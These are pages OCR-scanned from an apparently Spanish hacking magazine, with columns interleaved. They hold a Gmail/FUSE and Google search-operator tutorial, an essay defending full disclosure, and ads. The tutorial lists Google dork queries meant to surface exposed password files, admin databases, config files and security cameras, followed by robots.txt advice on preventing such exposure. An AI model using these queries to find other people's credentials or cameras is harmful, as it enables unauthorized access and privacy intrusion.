funciona, pásate otra vez por la web y toca a Fuse: y hacer mount Gmail.
bájate una versión actualizada al nuevo
sistema, y repite los pasos. # tar xvfz fuse-2.2.1.tar.gz
# cd fuse-2.2.1
Web de GmailDrive: http://www. #./configure
viksoe.dk/code/Gmail.htm #make && make install También podemos ver nuestro correo
# vi /etc/init.d/fuse desde un cliente de correo, ya sea en
-Linux >#!/bin/sh tu ordenador o en un PDA. Para hacerlo
>modprobe fuse nos logueamos en Gmail y vamos a
Para hacer esto independiente de la :wq configuración(arriba a la derecha) a
distribución que uses, voy a explicar # update-rc.d fuse defaults continuación vamos a “Reenvío y Correo
como hacerlo desde las fuentes de todos POP” y donde dice “Descargar correo
l o s p r o g ra m a s q u e n e c e s i t e m o s . Como podéis ver, hemos tenido que POP” habilitamos “Habilitar POP para
crear un script en "/etc/init.d" para que todos los mensajes”. Ahora para configurar
Primero debemos bajarnos: se inicie el modulo fuse cuando iniciemos tu gestor favorito tienes el GmailConfig,
nuestro ordenador. Si quieres utilizar que te lo configura todo de manera que
-Python(si es que no lo tenemos ya) de ahora mismo fuse haz modprobe fuse . solo tengas que introducir tu usuario y
http://www.python.org/ftp/python/2. contraseña. Puedes bajártelo de http://
4.1/Python-2.4.1.tgz Turno de Fuse Bindings: t o o l b a r. G o o g l e . c o m / G m a i l - h e l p e r /
-Fuse de http://sourceforge.net GmailConfig.exe . Para una explicación de
/project/showfiles.php?group_id=121 # tar xvfz fuse-python.tar.gz como hacerlo independientemente del
684&package_id=132802 # cd fuse-python gestor de correo, entrad en
-Python-Fuse Bindings de http://richard. # chmod 777 fuse.py http://gmail.google.com/support/bin/an
jones.name/Google-hacks/Gmail- # python setup.py build swer.py?answer=13287
filesystem/fuse-python.tar.gz # python setup.py install

62
A continuación explicaré como configu- "Reenvío y correo POP" y hacer click en haríamos "constitución Española"
rarlo con Mozilla Thunderbird: "Reenviar una copia del correo entrante filetype:pdf y nos devolvería todos los
a" seguido de la dirección de correo, sitios donde aparece constitución
Abre Thunderbird y entra en indicando si quieres conservar una copia española en formato .pdf.
“Herramientas”-->”Edición de Cuentas”, en la cuenta de Gmail o no.
seguido de “Añadir Cuenta”.
Pincha en “Cuenta de Correo
Electrónico” y en “Siguiente”. Pues sí, también podemos buscar cosas
Introduce el nombre que verán los Gmail te permite ver en tu lector de especificas de películas en Google
recipientes de tus mensajes en “Su feeds favorito tus correos. Para hacerlo utilizando el operador “movie :” . Por
Nombre:”. Luego teclea tu nombre de deberás añadir a tu agregador feed la ejemplo, sabemos que hay una película
usuario Gmail (usuario@gmail.com) dirección “https://Gmail.Google.com/ dirigida por “Spielberg” en la que sale
adentra de la caja de “Dirección de Gmail/feed/atom”, y configurarlo de “Tom Hanks” y que trata sobre un
Correo Electrónico”, y dale a “Siguiente”. manera que el identificador y contraseña “Soldado”. Pues ponemos “movie:
Selecciona “POP” como tipo de servidor sean las mismas que las de tu correo. Spielberg Tom Hanks Soldier” y nos da
entrante. En “Nombre del Servidor” pon como resultado “Salvar al Soldado Ryan”,
“pop.gmail.com” y acto seguido haz click de la cual podemos ver críticas, sinopsis,
en “Siguiente”. actores, etc....
Teclea una vez más tu nombre de Con Google puedes encontrar
usuario de Gmail (incluyendo el prácticamente cualquier cosa, y después
“@gmail.com”) en “Nombre de Usuario de este artículo ya no tendrás excusa
Entrante”. para no encontrarlo TODO ;) Estas son Esta característica nos permite seguir
Introduce cualquier nombre en algunas de las formas en las que Google los paquetes enviados a través de FedEx,
“Nombre de Cuenta” seguido de nos ayuda: UPS, USPS, y otros dando solamente el
“Siguiente”. numero de identificación, por ejemplo
Verifica que todo está correcto y haz "9999 9999 9999 9999 9999 99".
click en “Siguiente”. También podemos ver un vuelo poniendo
Bajo la nueva cuenta creada entra en Google incorpora una calculadora que su número de identificación, el cual
“Configuración de Servidor” y pon un te permite hacer todo tipo de cálculos suele estar normalmente en el reverso
tick en la caja que dice “Usar conexión matemáticos, desde lo más simple hasta del ticket.
segura (SSL)”, y verifica que el puerto lo más complejo. Por ejemplo, podemos
sea “995”. hacer algo tan simple como multiplicar
En la ventana de “Configuración de cinco más cinco por dos, “(5+5)*2”,
Cuenta” mira el recuadro “Servidor de hasta hacer cosas tan complicadas como
Salida (SMTP). (e^(i pi)+1), y obtener un resultado Utilizando el operador “site:” podremos
Pon un tick en la caja que dice “TLS” claro. buscar algo en concreto dentro de una
debajo de “Utilizar conexión segura”. misma web. Por ejemplo, si queremos
Introduce “smtp.gmail.com” en encontrar “Windows Media Player”
“Nombre del Servidor”, y verifica que dentro de http://www.microsoft.com/,
“Puerto” sea “587”. Para obtener la definición de una palabra pondríamos “Windows Media Player
Tickea la opción “Utilizar Nombre de ponemos algo tan simple como “Define site:http://www.microsoft.com/”
Usuario y Contraseña”, e introduce tu palabra” , de manera que si queremos
nombre de usuario de Gmail la definición de un ordenador hacemos
(usuario@gmail.com”. “Define ordenador” y obtendremos un
Verifica que toda la información sea enlace (casi siempre a la Wikipedia o Si nos vamos mañana de viaje y no
correcta, y ¡ya tienes tu correo Gmail similar) en el que nos dice “Una sabemos que tiempo hará, Google nos
en tu gestor de Correo!. c o m p u t a d o ra ( H i s p a n o a m é r i c a ) u ayudará :) Si queremos saber el tiempo
ordenador (España) es un dispositivo que hará en Madrid pondremos “weather
electrónico compuesto... ”. madrid, Spain”. Esta búsqueda debe
siempre estar en el formato “weather
Con esta opción puedes reenviar todo ciudad , País”
el correo que recibas en tu cuenta Gmail
a otra dirección de correo electrónico. Google nos permite relacionar los
De esta manera si cambias de cuenta y resultados con un tipo de archivo en
ya no quieres recibir más mensajes en concreto mediante la utilización de ¿Quieres saber quien tiene un link a tu
Gmail, puedes reenviar todos los filetype:[extensión] en la búsqueda. web? Pues usando el operador “link:
mensajes a tu nueva cuenta. Digamos que por ejemplo buscamos la web” lo sabrás. Por ejemplo, para saber
La forma de hacer eso es yendo a constitución española en pdf, pues quien tiene links que apunten a

63
“http://www.cnn.com/” pondremos ejemplos, puedes probar con muchas La manera de sacar provecho de estos
“link:http://www.cnn.com/” más cosas. GoogleDorks es refinando las búsquedas
al máximo para conseguir archivos de
configuración o de administrador. Por
ejemplo, para un archivo “.mdb”, el cual
contiene contraseñas, usuarios y demás
Esta opción solo funciona con vuelos
Si quieres recibir los resultados de la archivos sobre una pagina web, ponemos
americanos, pero pronto se instalará en
búsqueda en tu correo para poder en Google “allinurl: admin mdb”. Como
otros países. La forma de utilizar este
analizarlos más tarde con tranquilidad veis, hay diversas páginas donde el
servicio es poniendo el nombre de la
en otro sitio, basta con mandar un email administrador ha dejado que Google
compañía, seguido del vuelo. Por
a Google@capeclear.com con el patrón guardara un link a ese archivo, cosa
ejemplo para la compañía “United
de la búsqueda como asunto, y al poco que NINGÚN administrador espabilado
Airlines” y el vuelo “134” pondríamos
ra t o r e c i b i r á s u n c o r r e o c o n l o s debería hacer.
“united 134”
resultados
Os dejo algunas búsquedas más para ir
practicando:
Si sabemos el nombre de una empresa
que invierte en bolsa, podremos saber intitle:"Index of" config.php
Mediante el operador “inurl :” podemos
como van sus acciones, e incluso ext:txt inurl:unattend.txt
encontrar un patrón dentro de la url de
obtendremos un bonito gráfico. Para filetype:log inurl:"password.log"
cualquier web. Si quisiéramos encontrar
ello deberemos saber la abreviatura del "access denied for user" "using
paginas web que contengan “phpBB2”
nombre en bolsa. Por ejemplo para saber password"
pondríamos “inurl; phpBB2”Esto puede
como están las acciones de “Cisco tener varias utilidades. Por ejemplo, Para más búsquedas de este tipo echadle
Systems, Inc” pondremos su nombre podemos utilizar esta opción para ver un vistazo a la web http://johnny.
abreviado en bolsa, que es “csco” diferentes cámaras de seguridad del ihackstuff.com/
mundo buscando “inurl:"MultiCamera
Frame?Mode="”. De esta manera, todas Para evitar este tipo de cosas, debemos
las urls(direcciones) que tenga Google configurar nuestro servidor para que los
Este punto es el más difícil de explicar. almacenadas que contengan buscadores no entren en determinados
Resulta que Google tiene un sistema “MultiCameraFrame?Mode=” aparecerán directorios, lo cual se puede hacer de
que te hace conversiones sobre ciertas en los resultados, con las consiguientes diversas formas , dependiendo del
cosas, como puede ser la conversión de paginas donde podremos ver cámaras servidor. En el caso de Apache, se debe
segundos a horas, megabytes a bits o de seguridad desde un casino de Japón restringir el acceso en el archivo
metros a millas. hasta la Quinta Avenida de Nueva York. “.htaccess”. Otra manera universal para
Esto también conlleva algunos riesgos todos los servidores es tener en el
La forma de sacar provecho de esto
de seguridad, ya que todas esas cámaras directorio raíz un archivo llamado
suele ser siempre con esta sintaxis:
están al descubierto para miradas de “robots.txt” en el cual debes incluir
Cosa to Cosa1 curiosos (como nosotros :D), y es “Disallow :” Seguido del directorio al
posible que no siempre sea la intención que no quieres que el robot de ningún
Es decir, si queremos convertir 66984 del administrador. buscador entre. Para más información
segundos a horas ponemos: s o b r e e l a r c h i v o r o b o t s . t x t m i ra
También es posible encontrar resultados http://www.searchengineworld.com/r
66984 seconds to hours A lo que nos dentro del título de la pagina, con el obots/robots_tutorial.htm
dirá: 66 984 seconds = 18.6066667 operador “intitle:”. Al igual que con
hours “inurl”, con “allinurl” conseguimos mas Espero que este artículo os sirva de
o menos lo mismo que con el anterior, referencia y os haya sido de utilidad
Igualmente, si queremos convertir 60 pero pudiendo refinar la búsqueda con para la próxima vez que vayáis a hacer
metros a millas o 2147483648 bytes a más opciones. una búsqueda avanzada en Google, o
gigabytes diríamos: 60 metres to miles vayáis utilizar vuestro correo Gmail .
A lo que dirá 60 meters = 0.0372822715 Ya no tenéis escusa para decir "Busqué,
pero no encontré nada en Google" Si
2147483648 bytes to gigabytes Y
Se conoce como un GoogleDork a aquella tenéis alguna pregunta, pasaros en el
obtendremos la respuesta:
persona inepta o necia que es revelada foro, que allí me encontraréis a mí, y a
2 147 483 648 bytes = 2 gigabytes
por Google. Estas personas dejan a Google mucha más gente dispuesta a ayudarte.
Como puedes ver, lo que quieres
indexar(guardar) información confidencial Un Saludo!
encontrar tiene que ser en su palabra
sobre su web, ya sean vulnerabilidades,
en inglés, no puede ser "metros" sino Autor: kurin
información sobre el servidor, directorios
"metres". También debes tener en
secretos o incluso contraseñas con sus
cuenta que solo he puesto unos
correspondientes usuarios.

64
Todas las mañanas, para matar el tiempo que consume el largo camino a la facultad, me
entretengo ojeando la prensa gratuita (aquí en Madrid es habitual acumular hasta tres y cuatro
periódicos al entrar al metro). Una mañana de hace unas cuantas semanas leí una noticia que,
de no estar totalmente seguro que no era 28 de Diciembre, me habría parecido una inocentada:
una conocida marca de automóviles ha diseñado “el primer coche sólo para mujeres” que
a d e m á s h a s i d o d i s e ñ a d o p o r u n e q u i p o f o r m a d o í n t e g ra m e n t e p o r m u j e r e s .

Podéis hacer una visita a nuestro bien amado google y pero no podré hacer nada ni pedir a ningún amigo que lo
buscar el término “Volvo YCC” (no había manera de no haga. La única solución es llevar el coche al taller, donde
mencionar la marca... publicidad gratis xD) para saber sabrán como quitar la pieza completa que recubre el
cuál es la idea que esas mujeres han tenido de lo que ha motor.
de ser un “coche para mujeres”. Seguramente, si eres
mujer, desearías ver las cabezas de estas “diseñadoras” En ese momento empieza a funcionar la parte más
(http://imgserv.ya.com/images/9/8/982e8235131ca7bi pragmática de mi cerebro: ¿qué necesidad real había de
3.jpg) en una pica... no te culpo, si yo fuera mujer desearía negar el acceso al capó? ¿no sería mejor proporcionar el
lo mismo. acceso al mismo y que cada usuario decida por sí mismo
si desea abrirlo e intentar repararlo, o bien llevarlo a un
Ahora (y antes de iniciar otra guerra de sexos), vamos a taller y confiar en profesionales? Así se ha hecho toda la
imaginar que alguien compra ese coche. Para dejar de vida y no nos ha ido mal. El que quería aprender mecánica
martirizar a las féminas (que bastante tienen con ver su lo hacía y el que no, o buscaba un taller económico o le
género como apellido de ese pseudocoche), imaginemos pedía un favor a un amigo que entendiera y luego le
que yo mismo me lo compro. Sé que imaginar que tengo invitaba a algo (o no, que caraduras los han habido siempre
el dinero para comprar un coche -más aún de esa marca- :-P).
es un gran esfuerzo, pero confío en que tengáis la
suficiente imaginación. ;-) Traslademos ahora esta pequeña parábola al campo del
software. Como hace mucho que dejamos de creer en los
Bien, pongamos que me he comprado mi nuevo y flamante cuentos de hadas, sabemos que no existe el software
YCC y decido salir a dar una vuelta a probarlo. Todo va perfecto, y que todos los programas -en mayor o menor
de maravilla hasta que, de buenas a primeras el coche se medida- tienen fallos. Pues bien, en el mundo de la
para y me deja tirado. ¿Qué ha pasado? Bien, no perdamos seguridad informática existen dos tendencias a la hora de
la calma, vamos a abrir el capó a ver si veo algo a simple manejar las situaciones críticas que suponen la aparición
vista... ¡¿Qué!? ¡Este coche no tiene capó! (Nota: no, no de bugs en el software.
es broma, ese coche NO tiene capó). Yo no soy un hacha
de la mecánica, pero algo sé, y en cualquier caso tengo La primera tendencia es la de ofrecer toda la información
amigos que sí son bastante buenos con la mecánica... posible sobre el fallo: en qué consiste, cómo explotarlo,

65
cómo solucionarlo... esta tendencia de Hace unos meses Microsoft, el mayor cuestión. ¡Y ojo! Que no estoy abogando
“capó abierto” permite al usuario decidir gigante del software hoy en día, anunció por el software libre (que también, los
por sí mismo si desea corregir el que retiraba el soporte de Windows NT que me conocen saben que soy firme
problema o esperar a que los 4.0. En la práctica significa que no se defensor del mismo), simplemente pido
profesionales (los responsables del van a desarrollar mejoras ni correcciones derecho a saber en qué estoy poniendo
software) lo corrijan. A esta tendencia para el mismo nunca más... y que al mi confianza.
se le conoce en este mundillo como “full primer fallo grave que se descubra, todo
disclosure” (completamente destapado). aquel con ese sistema estará No sé vosotros, pero si el fabricante de
completamente desprotegido. Dado que mi coche de vez en cuando enviara
La otra tendencia consiste en intentar el entorno NT casi siempre se ha elegido cartas a sus clientes diciendo:
que sea conocida la mínima información como solución en empresas o entornos
posible sobre el fallo. Generalmente se de producción, no creo que nadie en “Cuidado, se ha descubierto un fallo de
saca un parche para un fallo que ni esas circunstancias se arriesgue a un diseño en su automóvil que puede causar
siquiera ha sido anunciado con fallo de semejante magnitud. ¿Solución? q u e e x p l o t e s i n p r e v i o a v i s o .”
antelación. A esta tendencia se le conoce Actualizar, previo paso por caja para
como “security through obscurity” renovar tooodas las licencias que Yo, cada vez que escuchara un ruido
(seguridad a través de oscuridad) y tuvieras. extraño, por más que el mecánico
viene a ser el equivalente a no poner insistiera en que no es nada, no me
capó a nuestro coche. En Microsoft los coches no tienen capó. arriesgaría a ir a ningún sitio con ese
Y cuando ellos deciden que debes riesgo con ruedas. No hablemos de hacer
Podéis encontrar más información sobre cambiar de coche (sin importar que siga viajes de 500 kilómetros con pasajeros.
ambas tendencias en la wikipedia: funcionando o no), en el taller te
responden que no van a reparar más Últimamente hago bastantes compras
http://en.wikipedia.org/wiki/Security_ coches de ese modelo. Como el “plan online, y consulto los movimientos de
through_obscurity renove” pero al revés y poniendo tú la mis cuentas desde la página web de las
pasta. entidades bancarias correspondientes,
http://en.wikipedia.org/wiki/Full_discl por falta de tiempo más que nada (ya
osure Pero voy más allá: ¿de qué me serviría se sabe, la vida a la que nos obliga el
conocer todos los detalles sobre un fallo stress). Y por el mismo motivo por el
Dejando de lado las implicaciones legales de diseño en la junta de la trócola del que no usaría ese coche sin capó, no
de este asunto (un tema del que ya modelo X del último coche de Microsoft? uso software “sin capó” del que no me
habló AZIMUT en su artículo de opinión) Aunque ese modelo de coche tuviera fío.
podemos observar que en la comunidad capó, al abrirlo descubriría que no tengo
internacional dentro del campo de la ni idea de cómo ha sido diseñado ese Es un hecho que las vulnerabilidades se
seguridad informática, tanto empresas motor ni, por supuesto, de dónde está descubren, por más que las empresas
como particulares se decantan por una la junta de la trócola ni de cómo de software pretendan que no sea así.
u otra tendencia (raramente por un interactúa con su entorno para trabajar. En muchas ocasiones son avisadas de
término medio). esos fallos de seguridad y hacen caso
No sé si habréis leído los boletines de omiso de los avisos. Recuerdo el caso,
Generalmente, las grandes empresas seguridad de Microsoft, pero a mí es hará quizá un año o más, de una grave
de software prefieren que la seguridad que me da la risa. Parecen haber sido vulnerabilidad en hotmail (aquí es donde
de sus productos recaiga en la seguridad redactados con la intención de que no todos los script-kiddies agudizan sus
p o r o s c u r i d a d , m i e n t ra s q u e l o s los comprendan ni sus ingenieros, y al cinco sentidos xD) que permitía resetear
expertos independientes (los “hackers”, final lo único que se entiende es el password de cualquier usuario: el
si es que esa palabra significa algo “Descargar el parche”. Pues vale. Por webmaster de “Zone H” avisó en
hoy en día) suelen preferir el full no mencionar las descripciones de las repetidas ocasiones al personal de MSN
disclosure. actualizaciones que podemos encontrar y no le hicieron caso. Al final, cansado
en Windows Update... a mí a veces me de la situación, decidió publicar el fallo,
Pero técnicamente, ¿qué diferencias da una sensación terrible de dejà vu y lo que obligó al personal de MSN a
reales hay entre una y otra tendencia? no sé si estoy viendo la misma trabajar a destajo para corregirlo en
actualización por enésima vez o si las una noche y evitar el desastre que se
La política de seguridad por oscuridad descripciones se asignan por el método avecinaba (lo siento, script-kiddies, otra
significa en la práctica que dependemos de “ctrl+c; ctrl+v”. vez será...).
totalmente de la empresa o particular
que ha programado el software para Por ello, creo que aún cuando las ¿No sería mejor haber agradecido la
poder corregir fallos. Y esto estaría bien grandes corporaciones del software información y haber solucionado con
si esos fallos se siguieran corrigiendo optaran por el full disclosure, éste no tiempo (semanas) el fallo que haberlo
eternamente y se hiciera de forma tendría sentido de ser sin tener acceso hecho deprisa y corriendo en una noche?
eficiente, pero... ¿es así? al código fuente del software en En el colegio, todos hacíamos los

66
deberes el día antes, pero creo que una Es por ello que yo sí me fío de PGP, por cerrado y propiedad de una gran
empresa como Microsoft no puede ejemplo. No pecaré de soberbia diciendo empresa del software? Mejor ni pensarlo.
permitirse hacer los deberes el día antes. que he revisado el código fuente de PGP,
Eso ya no es “security through entre otras cosas porque no veo Parece ser que, a golpe de talonario y
obscurity”... eso es “security through necesario revisarlo. Tampoco he revisado mordaza, desean imponernos software
idiocy”. línea a línea el código de, por ejemplo, “sin capó”. Puede parecer que al final
phpBB (el sistema de, entre otros, los tenía razón George Orwell, y solamente
Ahora imaginemos que se descubre una foros de Hack x Crack)... pero porque erró la fecha... pero como no soy alguien
vulnerabilidad crítica en el software X no necesito hacerlo. pesimista, prefiero pensar que no es
y q u e e l d e s c u b r i d o r t i e n e o t ra s así.
intenciones bastante más dañinas. Sé perfectamente que hay gente que sí
Nadie (ni el desarrollador) conoce el audita esos códigos línea por línea, y Si observamos las tendencias del
fallo, pero todos empiezan a observar que en el momento en que se encuentra software de estos últimos años, vemos
los ataques y sus consecuencias. Con una vulnerabilidad, se publica toda la que cada día el software libre arrebata
el código fuente disponible, y una información relativa a la misma, así más trozos del pastel a las grandes
política de full disclosure, es posible como soluciones temporales. A la empresas: Linux a Windows, Firefox a
que cualquiera encuentre el fallo experiencia me remito: Internet Explorer, OpenOffice.org a
auditando el código y proponga una Microsoft Office... y también hay casos
solución, mientras que si el código no de pasteles que el software libre se
Hace unas cuantas de semanas se
está disponible, se hace bastante más come casi completamente: MySQL,
descubrió una vulnerabilidad muy grave
complicado el encontrar el punto exacto Apache...
en phpBB hasta la versión 2.0.12 que
del fallo y mucho más complicado
permitía comprometer totalmente
solucionarlo... eso sin tener en cuenta También vemos que el full disclosure
cualquier foro.
que el realizar ingeniería inversa sobre cada día está más vivo, y que la
código propietario es delito. Y si comunidad hacker se encarga de
Gracias al full disclosure pudimos cerrar
tenemos que esperar a que el desarro- alimentarlo día a día con conocimiento...
el foro a tiempo para evitar males
llador parchee, y tiene la misma prisa a pesar de todo. Como reza la firma de
mayores (y gracias a la gente de
que demuestran a veces empresas un amigo y compañero del foro... “Si
elhacker.net ;-P) y en cuanto hubo
como Microsoft... estamos apañados. no se vive como se piensa, se acabará
parche oficial, solucionar el problema.
pensando como se vive”.
Es por ello que mi filosofía del software
pasa por el full disclosure y la publicación Pero voy más allá... unos días después Así pues, cuando me compre un coche,
del código fuente. Y de nuevo repito: la se empezó a mencionar en ciertos lo pediré con capó. Y si me lo dan sin
disponibilidad del código fuente no círculos una nueva vulnerabilidad en capó, ya me encargaré yo de ponerlo,
implica necesariamente software libre phpBB hasta la última versión disponible os lo aseguro.
ni open source. Tenemos casos de entonces (2.0.13) que permitía hacer
software muy famoso como PGP más de una maldad. Aún no había Ramiro C.G. (alias Death Master).
(http://www.pgp.com/) donde el código parche oficial ni versión 2.0.14, pero
fuente está disponible para descarga y gracias al full disclosure, pude aplicar
revisión (http://www.pgp.com/ down yo mismo una modificación al código
loads/sourcecode/) pero NO es libre ni del foro que nos puso a salvo del fallo.
abierto. ¿Os imagináis si phpBB fuera código

¿QUIERES CONOCER A OTRAS PERSONAS QUE LEEN LA REVISTA?


Pues no lo dudes, tienes un CHAT a tu disposición!!!

Para acceder al CHAT únicamente necesitas un cliente de IRC, por ejemplo el mIRC, el irssi o el xchat:
- Para WINDOWS el mIRC ---> http://mirc.irc-hispano.org/mirc616.exe
- Para LINUX el irssi ---> http://irssi.org/ o el xchat ---> http://www.xchat.org/
Para acceder tendreis que poner en la barra de status:
/server irc.irc-domain.org y despues /join #hackxcrack

Y si no tienes ganas de instalar ningún programa, puedes acceder al CHAT directamente con tu navegador de Internet accediendo a la página
http://www.irc-domain.org/chat/ y poniendo en CANAL ---> #hackxcrack
Saludos y feliz chateo**

** El canal de CHAT de hackxcrack es un recurso ajeno a la revista/editorial cuyo


mantenimiento, gestion, administración y contenidos son independientes de la misma.

67
PON AQUÍ TU PUBLICIDAD
Contacta DIRECTAMENTE con
nuestro coordinador de publicidad
INFÓRMATE
¡sin compromiso!
610 52 91 71

¿Has pensado alguna vez en


poner TU PUBLICIDAD en
una revista de cobertura
nacional?
¿Has preguntado
precios y comprobado
que son demasiado
elevados como para
amortizar la inversión?

Con nosotros, la publicidad está al alcance de todos

precios desde
99 euros

para más información:


http://www.pcpasoapaso.com/publicidad.html

P r omoción especial de lanzamiento